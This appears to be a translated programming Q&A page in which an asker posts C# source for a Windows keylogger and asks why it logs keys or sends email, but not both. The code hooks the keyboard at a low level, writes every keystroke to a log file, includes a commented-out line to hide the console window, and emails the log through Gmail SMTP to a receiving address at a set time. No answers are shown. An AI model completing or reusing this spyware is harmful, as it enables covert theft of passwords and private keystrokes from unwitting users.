带有SMTP客户端电子邮件发件人的我的控制台KeyLogger不起作用

时间:2019-04-01 08:00:54

标签: c# email smtp keylogger sender

我正在创建一个键盘记录器,该键盘记录器保存了所有推入文件中的密钥,然后将其设置为使用.txt文件发送自动电子邮件,但它只是保存密钥,而不发送电子邮件。当我删除“ Application.Run();”时它发送电子邮件的方法,但不保存按下的键。我不知道该如何解决。最好的问候。

我尝试删除Application.Run();但随后它停止保存按下的键,但是当我再次将其退回时,它将停止电子邮件发送过程。如果一个可行,那么其他不可行。

    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;
    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero;

    static void Main(string[] args)
    {
        var handle = GetConsoleWindow();
        Application.Run();
        // Hide
        //ShowWindow(handle, SW_HIDE);

        _hookID = SetHook(_proc);
        UnhookWindowsHookEx(_hookID);


        MailMessage mail = new MailMessage();
        SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
        mail.From = new MailAddress("myemail@gmail.com");
        mail.To.Add("receiveremail@gmail.com");
        mail.Subject = "Test Mail - 1";
        mail.Body = "mail with attachment";

        System.Net.Mail.Attachment attachment;
        attachment = new System.Net.Mail.Attachment("d:/log.txt");
        mail.Attachments.Add(attachment);

        SmtpServer.Port = 587;
        SmtpServer.Credentials = new System.Net.NetworkCredential("email", "password");
        SmtpServer.EnableSsl = true;

        while (true)
        {
            if (DateTime.Now.Hour == 10 && DateTime.Now.Minute == 51)
            {

                SmtpServer.Send(mail);

                Console.WriteLine("Success");
                break;
            }
        }

    }

    private static IntPtr SetHook(LowLevelKeyboardProc proc)
    {
        using (Process curProcess = Process.GetCurrentProcess())
        using (ProcessModule curModule = curProcess.MainModule)
        {
            return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                GetModuleHandle(curModule.ModuleName), 0);
        }
    }

    private delegate IntPtr LowLevelKeyboardProc(
        int nCode, IntPtr wParam, IntPtr lParam);

    private static IntPtr HookCallback(
        int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);

            StreamWriter sw = new StreamWriter(@"d:/" + @"\log.txt", true);
            //StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
            sw.Write((Keys)vkCode);
            sw.Close();
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook,
        LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
        IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    const int SW_HIDE = 0;
}

我对它进行了处理,以便在确切的时间发送电子邮件并在一个应用程序上记录密钥,我知道我可以在两个不同的应用程序上进行尝试,但这不是想要的。最好的问候!

0 个答案:

没有答案